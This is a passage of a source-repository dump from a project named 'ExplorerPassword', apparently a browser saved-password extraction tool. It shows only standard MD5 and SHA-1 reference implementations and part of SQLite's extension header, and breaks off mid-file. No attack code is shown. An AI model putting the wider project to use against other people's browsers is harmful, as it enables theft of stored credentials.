S31, 4294588738); /* 33 */ 225 | HH ( d, a, b, c, in[ 8], S32, 2272392833); /* 34 */ 226 | HH ( c, d, a, b, in[11], S33, 1839030562); /* 35 */ 227 | HH ( b, c, d, a, in[14], S34, 4259657740); /* 36 */ 228 | HH ( a, b, c, d, in[ 1], S31, 2763975236); /* 37 */ 229 | HH ( d, a, b, c, in[ 4], S32, 1272893353); /* 38 */ 230 | HH ( c, d, a, b, in[ 7], S33, 4139469664); /* 39 */ 231 | HH ( b, c, d, a, in[10], S34, 3200236656); /* 40 */ 232 | HH ( a, b, c, d, in[13], S31, 681279174); /* 41 */ 233 | HH ( d, a, b, c, in[ 0], S32, 3936430074); /* 42 */ 234 | HH ( c, d, a, b, in[ 3], S33, 3572445317); /* 43 */ 235 | HH ( b, c, d, a, in[ 6], S34, 76029189); /* 44 */ 236 | HH ( a, b, c, d, in[ 9], S31, 3654602809); /* 45 */ 237 | HH ( d, a, b, c, in[12], S32, 3873151461); /* 46 */ 238 | HH ( c, d, a, b, in[15], S33, 530742520); /* 47 */ 239 | HH ( b, c, d, a, in[ 2], S34, 3299628645); /* 48 */ 240 | 241 | /* Round 4 */ 242 | #define S41 6 243 | #define S42 10 244 | #define S43 15 245 | #define S44 21 246 | II ( a, b, c, d, in[ 0], S41, 4096336452); /* 49 */ 247 | II ( d, a, b, c, in[ 7], S42, 1126891415); /* 50 */ 248 | II ( c, d, a, b, in[14], S43, 2878612391); /* 51 */ 249 | II ( b, c, d, a, in[ 5], S44, 4237533241); /* 52 */ 250 | II ( a, b, c, d, in[12], S41, 1700485571); /* 53 */ 251 | II ( d, a, b, c, in[ 3], S42, 2399980690); /* 54 */ 252 | II ( c, d, a, b, in[10], S43, 4293915773); /* 55 */ 253 | II ( b, c, d, a, in[ 1], S44, 2240044497); /* 56 */ 254 | II ( a, b, c, d, in[ 8], S41, 1873313359); /* 57 */ 255 | II ( d, a, b, c, in[15], S42, 4264355552); /* 58 */ 256 | II ( c, d, a, b, in[ 6], S43, 2734768916); /* 59 */ 257 | II ( b, c, d, a, in[13], S44, 1309151649); /* 60 */ 258 | II ( a, b, c, d, in[ 4], S41, 4149444226); /* 61 */ 259 | II ( d, a, b, c, in[11], S42, 3174756917); /* 62 */ 260 | II ( c, d, a, b, in[ 2], S43, 718787259); /* 63 */ 261 | II ( b, c, d, a, in[ 9], S44, 3951481745); /* 64 */ 262 | 263 | buf[0] += a; 264 | buf[1] += b; 265 | buf[2] += c; 266 | buf[3] += d; 267 | } 268 | 269 | /* 270 | ********************************************************************** 271 | ** End of md5.c ** 272 | ******************************* (cut) ******************************** 273 | */ 274 | 275 | unsigned char *MD5(unsigned char *d, size_t n, unsigned char *md) 276 | { 277 | MD5_CTX c; 278 | 279 | MD5Init(&c); 280 | MD5Update(&c,d,n); 281 | MD5Final(&c); 282 | 283 | memcpy(md, c.digest, MD5_DIGEST_LENGTH); 284 | 285 | return(md); 286 | } 287 | -------------------------------------------------------------------------------- /ExplorerPassword/md5.h: -------------------------------------------------------------------------------- 1 | /* 2 | ********************************************************************** 3 | ** md5.h -- Header file for implementation of MD5 ** 4 | ** RSA Data Security, Inc. MD5 Message Digest Algorithm ** 5 | ** Created: 2/17/90 RLR ** 6 | ** Revised: 12/27/90 SRD,AJ,BSK,JT Reference C version ** 7 | ** Revised (for MD5): RLR 4/27/91 ** 8 | ** -- G modified to have y&~z instead of y&z ** 9 | ** -- FF, GG, HH modified to add in last register done ** 10 | ** -- Access pattern: round 2 works mod 5, round 3 works mod 3 ** 11 | ** -- distinct additive constant for each step ** 12 | ** -- round 4 added, working mod 7 ** 13 | ********************************************************************** 14 | */ 15 | 16 | /* 17 | ********************************************************************** 18 | ** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. ** 19 | ** ** 20 | ** License to copy and use this software is granted provided that ** 21 | ** it is identified as the "RSA Data Security, Inc. MD5 Message ** 22 | ** Digest Algorithm" in all material mentioning or referencing this ** 23 | ** software or this function. ** 24 | ** ** 25 | ** License is also granted to make and use derivative works ** 26 | ** provided that such works are identified as "derived from the RSA ** 27 | ** Data Security, Inc. MD5 Message Digest Algorithm" in all ** 28 | ** material mentioning or referencing the derived work. ** 29 | ** ** 30 | ** RSA Data Security, Inc. makes no representations concerning ** 31 | ** either the merchantability of this software or the suitability ** 32 | ** of this software for any particular purpose. It is provided "as ** 33 | ** is" without express or implied warranty of any kind. ** 34 | ** ** 35 | ** These notices must be retained in any copies of any part of this ** 36 | ** documentation and/or software. ** 37 | ********************************************************************** 38 | */ 39 | 40 | /* typedef a 32 bit type */ 41 | typedef unsigned long int UINT4; 42 | 43 | #define MD5_CBLOCK 64 44 | #define MD5_LBLOCK (MD5_CBLOCK/4) 45 | #define MD5_DIGEST_LENGTH 16 46 | 47 | /* Data structure for MD5 (Message Digest) computation */ 48 | typedef struct { 49 | UINT4 i[2]; /* number of _bits_ handled mod 2^64 */ 50 | UINT4 buf[4]; /* scratch buffer */ 51 | unsigned char in[64]; /* input buffer */ 52 | unsigned char digest[16]; /* actual digest after MD5Final call */ 53 | } MD5_CTX; 54 | 55 | void MD5Init(MD5_CTX *mdContext); 56 | void MD5Update(MD5_CTX *mdContext, unsigned char *inBuf, unsigned int inLen); 57 | void MD5Final(MD5_CTX *mdContext); 58 | unsigned char *MD5(unsigned char *d, size_t n, unsigned char *md); 59 | 60 | /* 61 | ********************************************************************** 62 | ** End of md5.h ** 63 | ******************************* (cut) ******************************** 64 | */ -------------------------------------------------------------------------------- /ExplorerPassword/sha1.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * sha1.c 3 | * 4 | * Copyright (C) 1998 5 | * Paul E. Jones 6 | * All Rights Reserved 7 | * 8 | ***************************************************************************** 9 | * $Id: sha1.c,v 1.2 2004/03/27 18:00:33 paulej Exp $ 10 | ***************************************************************************** 11 | * 12 | * Description: 13 | * This file implements the Secure Hashing Standard as defined 14 | * in FIPS PUB 180-1 published April 17, 1995. 15 | * 16 | * The Secure Hashing Standard, which uses the Secure Hashing 17 | * Algorithm (SHA), produces a 160-bit message digest for a 18 | * given data stream. In theory, it is highly improbable that 19 | * two messages will produce the same message digest. Therefore, 20 | * this algorithm can serve as a means of providing a "fingerprint" 21 | * for a message. 22 | * 23 | * Portability Issues: 24 | * SHA-1 is defined in terms of 32-bit "words". This code was 25 | * written with the expectation that the processor has at least 26 | * a 32-bit machine word size. If the machine word size is larger, 27 | * the code should still function properly. One caveat to that 28 | * is that the input functions taking characters and character 29 | * arrays assume that only 8 bits of information are stored in each 30 | * character. 31 | * 32 | * Caveats: 33 | * SHA-1 is designed to work with messages less than 2^64 bits 34 | * long. Although SHA-1 allows a message digest to be generated for 35 | * messages of any number of bits less than 2^64, this 36 | * implementation only works with messages with a length that is a 37 | * multiple of the size of an 8-bit character. 38 | * 39 | */ 40 | 41 | #include "sha1.h" 42 | 43 | /* 44 | * Define the circular shift macro 45 | */ 46 | #define SHA1CircularShift(bits,word) \ 47 | ((((word) << (bits)) & 0xFFFFFFFF) | \ 48 | ((word) >> (32-(bits)))) 49 | 50 | /* Function prototypes */ 51 | void SHA1ProcessMessageBlock(SHA1Context *); 52 | void SHA1PadMessage(SHA1Context *); 53 | 54 | /* 55 | * SHA1Reset 56 | * 57 | * Description: 58 | * This function will initialize the SHA1Context in preparation 59 | * for computing a new message digest. 60 | * 61 | * Parameters: 62 | * context: [in/out] 63 | * The context to reset. 64 | * 65 | * Returns: 66 | * Nothing. 67 | * 68 | * Comments: 69 | * 70 | */ 71 | void SHA1Reset(SHA1Context *context) 72 | { 73 | context->Length_Low = 0; 74 | context->Length_High = 0; 75 | context->Message_Block_Index = 0; 76 | 77 | context->Message_Digest[0] = 0x67452301; 78 | context->Message_Digest[1] = 0xEFCDAB89; 79 | context->Message_Digest[2] = 0x98BADCFE; 80 | context->Message_Digest[3] = 0x10325476; 81 | context->Message_Digest[4] = 0xC3D2E1F0; 82 | 83 | context->Computed = 0; 84 | context->Corrupted = 0; 85 | } 86 | 87 | /* 88 | * SHA1Result 89 | * 90 | * Description: 91 | * This function will return the 160-bit message digest into the 92 | * Message_Digest array within the SHA1Context provided 93 | * 94 | * Parameters: 95 | * context: [in/out] 96 | * The context to use to calculate the SHA-1 hash. 97 | * 98 | * Returns: 99 | * 1 if successful, 0 if it failed. 100 | * 101 | * Comments: 102 | * 103 | */ 104 | int SHA1Result(SHA1Context *context) 105 | { 106 | 107 | if (context->Corrupted) 108 | { 109 | return 0; 110 | } 111 | 112 | if (!context->Computed) 113 | { 114 | SHA1PadMessage(context); 115 | context->Computed = 1; 116 | } 117 | 118 | return 1; 119 | } 120 | 121 | /* 122 | * SHA1Input 123 | * 124 | * Description: 125 | * This function accepts an array of octets as the next portion of 126 | * the message. 127 | * 128 | * Parameters: 129 | * context: [in/out] 130 | * The SHA-1 context to update 131 | * message_array: [in] 132 | * An array of characters representing the next portion of the 133 | * message. 134 | * length: [in] 135 | * The length of the message in message_array 136 | * 137 | * Returns: 138 | * Nothing. 139 | * 140 | * Comments: 141 | * 142 | */ 143 | void SHA1Input( SHA1Context *context, 144 | const unsigned char *message_array, 145 | unsigned length) 146 | { 147 | if (!length) 148 | { 149 | return; 150 | } 151 | 152 | if (context->Computed || context->Corrupted) 153 | { 154 | context->Corrupted = 1; 155 | return; 156 | } 157 | 158 | while(length-- && !context->Corrupted) 159 | { 160 | context->Message_Block[context->Message_Block_Index++] = 161 | (*message_array & 0xFF); 162 | 163 | context->Length_Low += 8; 164 | /* Force it to 32 bits */ 165 | context->Length_Low &= 0xFFFFFFFF; 166 | if (context->Length_Low == 0) 167 | { 168 | context->Length_High++; 169 | /* Force it to 32 bits */ 170 | context->Length_High &= 0xFFFFFFFF; 171 | if (context->Length_High == 0) 172 | { 173 | /* Message is too long */ 174 | context->Corrupted = 1; 175 | } 176 | } 177 | 178 | if (context->Message_Block_Index == 64) 179 | { 180 | SHA1ProcessMessageBlock(context); 181 | } 182 | 183 | message_array++; 184 | } 185 | } 186 | 187 | /* 188 | * SHA1ProcessMessageBlock 189 | * 190 | * Description: 191 | * This function will process the next 512 bits of the message 192 | * stored in the Message_Block array. 193 | * 194 | * Parameters: 195 | * None. 196 | * 197 | * Returns: 198 | * Nothing. 199 | * 200 | * Comments: 201 | * Many of the variable names in the SHAContext, especially the 202 | * single character names, were used because those were the names 203 | * used in the publication. 204 | * 205 | * 206 | */ 207 | void SHA1ProcessMessageBlock(SHA1Context *context) 208 | { 209 | const unsigned K[] = /* Constants defined in SHA-1 */ 210 | { 211 | 0x5A827999, 212 | 0x6ED9EBA1, 213 | 0x8F1BBCDC, 214 | 0xCA62C1D6 215 | }; 216 | int t; /* Loop counter */ 217 | unsigned temp; /* Temporary word value */ 218 | unsigned W[80]; /* Word sequence */ 219 | unsigned A, B, C, D, E; /* Word buffers */ 220 | 221 | /* 222 | * Initialize the first 16 words in the array W 223 | */ 224 | for(t = 0; t < 16; t++) 225 | { 226 | W[t] = ((unsigned) context->Message_Block[t * 4]) << 24; 227 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 1]) << 16; 228 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 2]) << 8; 229 | W[t] |= ((unsigned) context->Message_Block[t * 4 + 3]); 230 | } 231 | 232 | for(t = 16; t < 80; t++) 233 | { 234 | W[t] = SHA1CircularShift(1,W[t-3] ^ W[t-8] ^ W[t-14] ^ W[t-16]); 235 | } 236 | 237 | A = context->Message_Digest[0]; 238 | B = context->Message_Digest[1]; 239 | C = context->Message_Digest[2]; 240 | D = context->Message_Digest[3]; 241 | E = context->Message_Digest[4]; 242 | 243 | for(t = 0; t < 20; t++) 244 | { 245 | temp = SHA1CircularShift(5,A) + 246 | ((B & C) | ((~B) & D)) + E + W[t] + K[0]; 247 | temp &= 0xFFFFFFFF; 248 | E = D; 249 | D = C; 250 | C = SHA1CircularShift(30,B); 251 | B = A; 252 | A = temp; 253 | } 254 | 255 | for(t = 20; t < 40; t++) 256 | { 257 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[1]; 258 | temp &= 0xFFFFFFFF; 259 | E = D; 260 | D = C; 261 | C = SHA1CircularShift(30,B); 262 | B = A; 263 | A = temp; 264 | } 265 | 266 | for(t = 40; t < 60; t++) 267 | { 268 | temp = SHA1CircularShift(5,A) + 269 | ((B & C) | (B & D) | (C & D)) + E + W[t] + K[2]; 270 | temp &= 0xFFFFFFFF; 271 | E = D; 272 | D = C; 273 | C = SHA1CircularShift(30,B); 274 | B = A; 275 | A = temp; 276 | } 277 | 278 | for(t = 60; t < 80; t++) 279 | { 280 | temp = SHA1CircularShift(5,A) + (B ^ C ^ D) + E + W[t] + K[3]; 281 | temp &= 0xFFFFFFFF; 282 | E = D; 283 | D = C; 284 | C = SHA1CircularShift(30,B); 285 | B = A; 286 | A = temp; 287 | } 288 | 289 | context->Message_Digest[0] = 290 | (context->Message_Digest[0] + A) & 0xFFFFFFFF; 291 | context->Message_Digest[1] = 292 | (context->Message_Digest[1] + B) & 0xFFFFFFFF; 293 | context->Message_Digest[2] = 294 | (context->Message_Digest[2] + C) & 0xFFFFFFFF; 295 | context->Message_Digest[3] = 296 | (context->Message_Digest[3] + D) & 0xFFFFFFFF; 297 | context->Message_Digest[4] = 298 | (context->Message_Digest[4] + E) & 0xFFFFFFFF; 299 | 300 | context->Message_Block_Index = 0; 301 | } 302 | 303 | /* 304 | * SHA1PadMessage 305 | * 306 | * Description: 307 | * According to the standard, the message must be padded to an even 308 | * 512 bits. The first padding bit must be a '1'. The last 64 309 | * bits represent the length of the original message. All bits in 310 | * between should be 0. This function will pad the message 311 | * according to those rules by filling the Message_Block array 312 | * accordingly. It will also call SHA1ProcessMessageBlock() 313 | * appropriately. When it returns, it can be assumed that the 314 | * message digest has been computed. 315 | * 316 | * Parameters: 317 | * context: [in/out] 318 | * The context to pad 319 | * 320 | * Returns: 321 | * Nothing. 322 | * 323 | * Comments: 324 | * 325 | */ 326 | void SHA1PadMessage(SHA1Context *context) 327 | { 328 | /* 329 | * Check to see if the current message block is too small to hold 330 | * the initial padding bits and length. If so, we will pad the 331 | * block, process it, and then continue padding into a second 332 | * block. 333 | */ 334 | if (context->Message_Block_Index > 55) 335 | { 336 | context->Message_Block[context->Message_Block_Index++] = 0x80; 337 | while(context->Message_Block_Index < 64) 338 | { 339 | context->Message_Block[context->Message_Block_Index++] = 0; 340 | } 341 | 342 | SHA1ProcessMessageBlock(context); 343 | 344 | while(context->Message_Block_Index < 56) 345 | { 346 | context->Message_Block[context->Message_Block_Index++] = 0; 347 | } 348 | } 349 | else 350 | { 351 | context->Message_Block[context->Message_Block_Index++] = 0x80; 352 | while(context->Message_Block_Index < 56) 353 | { 354 | context->Message_Block[context->Message_Block_Index++] = 0; 355 | } 356 | } 357 | 358 | /* 359 | * Store the message length as the last 8 octets 360 | */ 361 | context->Message_Block[56] = (context->Length_High >> 24) & 0xFF; 362 | context->Message_Block[57] = (context->Length_High >> 16) & 0xFF; 363 | context->Message_Block[58] = (context->Length_High >> 8) & 0xFF; 364 | context->Message_Block[59] = (context->Length_High) & 0xFF; 365 | context->Message_Block[60] = (context->Length_Low >> 24) & 0xFF; 366 | context->Message_Block[61] = (context->Length_Low >> 16) & 0xFF; 367 | context->Message_Block[62] = (context->Length_Low >> 8) & 0xFF; 368 | context->Message_Block[63] = (context->Length_Low) & 0xFF; 369 | 370 | SHA1ProcessMessageBlock(context); 371 | } 372 | -------------------------------------------------------------------------------- /ExplorerPassword/sha1.h: -------------------------------------------------------------------------------- 1 | /* 2 | * sha1.h 3 | * 4 | * Copyright (C) 1998 5 | * Paul E. Jones 6 | * All Rights Reserved 7 | * 8 | ***************************************************************************** 9 | * $Id: sha1.h,v 1.2 2004/03/27 18:00:33 paulej Exp $ 10 | ***************************************************************************** 11 | * 12 | * Description: 13 | * This class implements the Secure Hashing Standard as defined 14 | * in FIPS PUB 180-1 published April 17, 1995. 15 | * 16 | * Many of the variable names in the SHA1Context, especially the 17 | * single character names, were used because those were the names 18 | * used in the publication. 19 | * 20 | * Please read the file sha1.c for more information. 21 | * 22 | */ 23 | 24 | #ifndef _SHA1_H_ 25 | #define _SHA1_H_ 26 | 27 | /* 28 | * This structure will hold context information for the hashing 29 | * operation 30 | */ 31 | typedef struct SHA1Context 32 | { 33 | unsigned Message_Digest[5]; /* Message Digest (output) */ 34 | 35 | unsigned Length_Low; /* Message length in bits */ 36 | unsigned Length_High; /* Message length in bits */ 37 | 38 | unsigned char Message_Block[64]; /* 512-bit message blocks */ 39 | int Message_Block_Index; /* Index into message block array */ 40 | 41 | int Computed; /* Is the digest computed? */ 42 | int Corrupted; /* Is the message digest corruped? */ 43 | } SHA1Context; 44 | 45 | #define SHA_DIGEST_LENGTH 20 46 | 47 | /* 48 | * Function Prototypes 49 | */ 50 | void SHA1Reset(SHA1Context *); 51 | int SHA1Result(SHA1Context *); 52 | void SHA1Input( SHA1Context *, 53 | const unsigned char *, 54 | unsigned); 55 | 56 | #endif 57 | -------------------------------------------------------------------------------- /ExplorerPassword/small.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/small.ico -------------------------------------------------------------------------------- /ExplorerPassword/stdafx.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/stdafx.cpp -------------------------------------------------------------------------------- /ExplorerPassword/stdafx.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/ExplorerPassword/stdafx.h -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/README.md -------------------------------------------------------------------------------- /SQLite/SQLite3.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/SQLite/SQLite3.lib -------------------------------------------------------------------------------- /SQLite/SQLite3_D.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/crazyHH/ExplorerPassword/ad5bd5609bf112122af5fc4f5062e5527f44983d/SQLite/SQLite3_D.lib -------------------------------------------------------------------------------- /SQLite/sqlite3ext.h: -------------------------------------------------------------------------------- 1 | /* 2 | ** 2006 June 7 3 | ** 4 | ** The author disclaims copyright to this source code. In place of 5 | ** a legal notice, here is a blessing: 6 | ** 7 | ** May you do good and not evil. 8 | ** May you find forgiveness for yourself and forgive others. 9 | ** May you share freely, never taking more than you give. 10 | ** 11 | ************************************************************************* 12 | ** This header file defines the SQLite interface for use by 13 | ** shared libraries that want to be imported as extensions into 14 | ** an SQLite instance. Shared libraries that intend to be loaded 15 | ** as extensions by SQLite should #include this file instead of 16 | ** sqlite3.h. 17 | */ 18 | #ifndef _SQLITE3EXT_H_ 19 | #define _SQLITE3EXT_H_ 20 | #include "sqlite3.h" 21 | 22 | typedef struct sqlite3_api_routines sqlite3_api_routines; 23 | 24 | /* 25 | ** The following structure holds pointers to all of the SQLite API 26 | ** routines. 27 | ** 28 | ** WARNING: In order to maintain backwards compatibility, add new 29 | ** interfaces to the end of this structure only. If you insert new 30 | ** interfaces in the middle of this structure, then older different 31 | ** versions of SQLite will not be able to load each other's shared 32 | ** libraries! 33 | */ 34 | struct sqlite3_api_routines { 35 | void * (*aggregate_context)(sqlite3_context*,int nBytes); 36 | int (*aggregate_count)(sqlite3_context*); 37 | int (*bind_blob)(sqlite3_stmt*,int,const void*,int n,void(*)(void*)); 38 | int (*bind_double)(sqlite3_stmt*,int,double); 39 | int (*bind_int)(sqlite3_stmt*,int,int); 40 | int (*bind_int64)(sqlite3_stmt*,int,sqlite_int64); 41 | int (*bind_null)(sqlite3_stmt*,int); 42 | int (*bind_parameter_count)(sqlite3_stmt*); 43 | int (*bind_parameter_index)(sqlite3_stmt*,const char*zName); 44 | const char * (*bind_parameter_name)(sqlite3_stmt*,int); 45 | int (*bind_text)(sqlite3_stmt*,int,const char*,int n,void(*)(void*)); 46 | int (*bind_text16)(sqlite3_stmt*,int,const void*,int,void(*)(void*)); 47 | int (*bind_value)(sqlite3_stmt*,int,const sqlite3_value*); 48 | int (*busy_handler)(sqlite3*,int(*)(void*,int),void*); 49 | int (*busy_timeout)(sqlite3*,int ms); 50 | int (*changes)(sqlite3*); 51 | int (*close)(sqlite3*); 52 | int (*collation_needed)(sqlite3*,void*,void(*)(void*,sqlite3*, 53 | int eTextRep,const char*)); 54 | int (*collation_needed16)(sqlite3*,void*,void(*)(void*,sqlite3*, 55 | int eTextRep,const void*)); 56 | const void * (*column_blob)(sqlite3_stmt*,int iCol); 57 | int (*column_bytes)(sqlite3_stmt*,int iCol); 58 | int (*column_bytes16)(sqlite3_stmt*,int iCol); 59 | int (*column_count)(sqlite3_stmt*pStmt); 60 | const char * (*column_database_name)(sqlite3_stmt*,int); 61 | const void * (*column_database_name16)(sqlite3_stmt*,int); 62 | const char * (*column_decltype)(sqlite3_stmt*,int i); 63 | const void * (*column_decltype16)(sqlite3_stmt*,int); 64 | double (*column_double)(sqlite3_stmt*,int iCol); 65 | int (*column_int)(sqlite3_stmt*,int iCol); 66 | sqlite_int64 (*column_int64)(sqlite3_stmt*,int iCol); 67 | const char * (*column_name)(sqlite3_stmt*,int); 68 | const void * (*column_name16)(sqlite3_stmt*,int); 69 | const char * (*column_origin_name)(sqlite3_stmt*,int); 70 | const void * (*column_origin_name16)(sqlite3_stmt*,int); 71 | const char * (*column_table_name)(sqlite3_stmt*,int); 72 | const void * (*column_table_name16)(sqlite3_stmt*,int); 73 | const unsigned char * (*column_text)(sqlite3_stmt*,int iCol); 74 | const void * (*column_text16)(sqlite3_stmt*,int iCol); 75 | int (*column_type)(sqlite3_stmt*,int iCol); 76 | sqlite3_value* (*column_value)(sqlite3_stmt*,int iCol); 77 | void * (*commit_hook)(sqlite3*,int(*)(void*),void*); 78 | int (*complete)(const char*sql); 79 | int (*complete16)(const void*sql); 80 | int (*create_collation)(sqlite3*,const char*,int,void*, 81 | int(*)(void*,int,const void*,int,const void*)); 82 | int (*create_collation16)(sqlite3*,const void*,int,void*, 83 | int(*)(void*,int,const void*,int,const void*)); 84 | int (*create_function)(sqlite3*,const char*,int,int,void*, 85 | void (*xFunc)(sqlite3_context*,int,sqlite3_value**), 86 | void (*xStep)(sqlite3_context*,int,sqlite3_value**), 87 | void (*xFinal)(sqlite3_context*)); 88 | int (*create_function16)(sqlite3*,const void*,int,int,void*, 89 | void (*xFunc)(sqlite3_context*,int,sqlite3_value**), 90 | void (*xStep)(sqlite3_context*,int,sqlite3_value**), 91 | void (*xFinal)(sqlite3_context*)); 92 | int (*create_module)(sqlite3*,const char*,const sqlite3_module*,void*); 93 | int (*data_count)(sqlite3_stmt*pStmt); 94 | sqlite3 * (*db_handle)(sqlite3_stmt*); 95 | int (*declare_vtab)(sqlite3*,const char*); 96 | int (*enable_shared_cache)(int); 97 | int (*errcode)(sqlite3*db); 98 | const char * (*errmsg)(sqlite3*); 99 | const void * (*errmsg16)(sqlite3*); 100 | int (*exec)(sqlite3*,const char*,sqlite3_callback,void*,char**); 101 | int (*expired)(sqlite3_stmt*); 102 | int (*finalize)(sqlite3_stmt*pStmt); 103 | void (*free)(void*); 104 | void (*free_table)(char**result); 105 | int (*get_autocommit)(sqlite3*); 106 | void * (*get_auxdata)(sqlite3_context*,int); 107 | int (*get_table)(sqlite3*,const char*,char***,int*,int*,char**); 108 | int (*global_recover)(void); 109 | void (*interruptx)(sqlite3*); 110 | sqlite_int64 (*last_insert_rowid)(sqlite3*); 111 | const char * (*libversion)(void); 112 | int (*libversion_number)(void); 113 | void *(*malloc)(int); 114 | char * (*mprintf)(const char*,...); 115 | int (*open)(const char*,sqlite3**); 116 | int (*open16)(const void*,sqlite3**); 117 | int (*prepare)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); 118 | int (*prepare16)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); 119 | void * (*profile)(sqlite3*,void(*)(void*,const char*,sqlite_uint64),void*); 120 | void (*progress_handler)(sqlite3*,int,int(*)(void*),void*); 121 | void *(*realloc)(void*,int); 122 | int (*reset)(sqlite3_stmt*pStmt); 123 | void (*result_blob)(sqlite3_context*,const void*,int,void(*)(void*)); 124 | void (*result_double)(sqlite3_context*,double); 125 | void (*result_error)(sqlite3_context*,const char*,int); 126 | void (*result_error16)(sqlite3_context*,const void*,int); 127 | void (*result_int)(sqlite3_context*,int); 128 | void (*result_int64)(sqlite3_context*,sqlite_int64); 129 | void (*result_null)(sqlite3_context*); 130 | void (*result_text)(sqlite3_context*,const char*,int,void(*)(void*)); 131 | void (*result_text16)(sqlite3_context*,const void*,int,void(*)(void*)); 132 | void (*result_text16be)(sqlite3_context*,const void*,int,void(*)(void*)); 133 | void (*result_text16le)(sqlite3_context*,const void*,int,void(*)(void*)); 134 | void (*result_value)(sqlite3_context*,sqlite3_value*); 135 | void * (*rollback_hook)(sqlite3*,void(*)(void*),void*); 136 | int (*set_authorizer)(sqlite3*,int(*)(void*,int,const char*,const char*, 137 | const char*,const char*),void*); 138 | void (*set_auxdata)(sqlite3_context*,int,void*,void (*)(void*)); 139 | char * (*snprintf)(int,char*,const char*,...); 140 | int (*step)(sqlite3_stmt*); 141 | int (*table_column_metadata)(sqlite3*,const char*,const char*,const char*, 142 | char const**,char const**,int*,int*,int*); 143 | void (*thread_cleanup)(void); 144 | int (*total_changes)(sqlite3*); 145 | void * (*trace)(sqlite3*,void(*xTrace)(void*,const char*),void*); 146 | int (*transfer_bindings)(sqlite3_stmt*,sqlite3_stmt*); 147 | void * (*update_hook)(sqlite3*,void(*)(void*,int ,char const*,char const*, 148 | sqlite_int64),void*); 149 | void * (*user_data)(sqlite3_context*); 150 | const void * (*value_blob)(sqlite3_value*); 151 | int (*value_bytes)(sqlite3_value*); 152 | int (*value_bytes16)(sqlite3_value*); 153 | double (*value_double)(sqlite3_value*); 154 | int (*value_int)(sqlite3_value*); 155 | sqlite_int64 (*value_int64)(sqlite3_value*); 156 | int (*value_numeric_type)(sqlite3_value*); 157 | const unsigned char * (*value_text)(sqlite3_value*); 158 | const void * (*value_text16)(sqlite3_value*); 159 | const void * (*value_text16be)(sqlite3_value*); 160 | const void * (*value_text16le)(sqlite3_value*); 161 | int (*value_type)(sqlite3_value*); 162 | char *(*vmprintf)(const char*,va_list); 163 | /* Added ??? */ 164 | int (*overload_function)(sqlite3*, const char *zFuncName, int nArg); 165 | /* Added by 3.3.13 */ 166 | int (*prepare_v2)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); 167 | int (*prepare16_v2)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); 168 | int (*clear_bindings)(sqlite3_stmt*); 169 | /* Added by 3.4.1 */ 170 | int (*create_module_v2)(sqlite3*,const char*,const sqlite3_module*,void*, 171 | void (*xDestroy)(void *)); 172 | /* Added by 3.5.0 */ 173 | int (*bind_zeroblob)(sqlite3_stmt*,int,int); 174 | int (*blob_bytes)(sqlite3_blob*); 175 | int (*blob_close)(sqlite3_blob*); 176 | int (*blob_open)(sqlite3*,const char*,const char*,const char*,sqlite3_int64, 177 | int,sqlite3_blob**); 178 | int (*blob_read)(sqlite3_blob*,void*,int,int); 179 | int (*blob_write)(sqlite3_blob*,const void*,int,int); 180 | int (*create_collation_v2)(sqlite3*,const char*,int,void*, 181 | int(*)(void*,int,const void*,int,const void*), 182 | void(*)(void*)); 183 | int (*file_control)(sqlite3*,const char*,int,void*); 184 | sqlite3_int64 (*memory_highwater)(int); 185 | sqlite3_int64 (*memory_used)(void); 186 | sqlite3_mutex *(*mutex_alloc)(int); 187 | void (*mutex_enter)(sqlite3_mutex*); 188 | void (*mutex_free)(sqlite3_mutex*); 189 | void (*mutex_leave)(sqlite3_mutex*); 190 | int (*mutex_try)(sqlite3_mutex*); 191 | int (*open_v2)(const char*,sqlite3**,int,const char*); 192 | int (*release_memory)(int); 193 | void (*result_error_nomem)(sqlite3_context*); 194 | void (*result_error_toobig)(sqlite3_context*); 195 | int (*sleep)(int); 196 | void (*soft_heap_limit)(int); 197 | sqlite3_vfs *(*vfs_find)(const char*); 198 | int (*vfs_register)(sqlite3_vfs*,int); 199 | int (*vfs_unregister)(sqlite3_vfs*); 200 | int (*xthreadsafe)(void); 201 | void (*result_zeroblob)(sqlite3_context*,int); 202 | void (*result_error_code)(sqlite3_context*,int); 203 | int (*test_control)(int, ...); 204 | void (*randomness)(int,void*); 205 | sqlite3 *(*context_db_handle)(sqlite3_context*); 206 | int (*extended_result_codes)(sqlite3*,int); 207 | int (*limit)(sqlite3*,int,int); 208 | sqlite3_stmt *(*next_stmt)(sqlite3*,sqlite3_stmt*); 209 | const char *(*sql)(sqlite3_stmt*); 210 | int (*status)(int,int*,int*,int); 211 | int (*backup_finish)(sqlite3_backup*); 212 | sqlite3_backup *(*backup_init)(sqlite3*,const char*,sqlite3*,const char*); 213 | int (*backup_pagecount)(sqlite3_backup*); 214 | int (*backup_remaining)(sqlite3_backup*); 215 | int (*backup_step)(sqlite3_backup*,int); 216 | const char *(*compileoption_get)(int); 217 | int (*compileoption_used)(const char*); 218 | int (*create_function_v2)(sqlite3*,const char*,int,int,void*, 219 | void (*xFunc)(sqlite3_context*,int,sqlite3_value**), 220 | void (*xStep)(sqlite3_context*,int,sqlite3_value**), 221 | void (*xFinal)(sqlite3_context*), 222 | void(*xDestroy)(void*)); 223 | int (*db_config)(sqlite3*,int,...); 224 | sqlite3_mutex 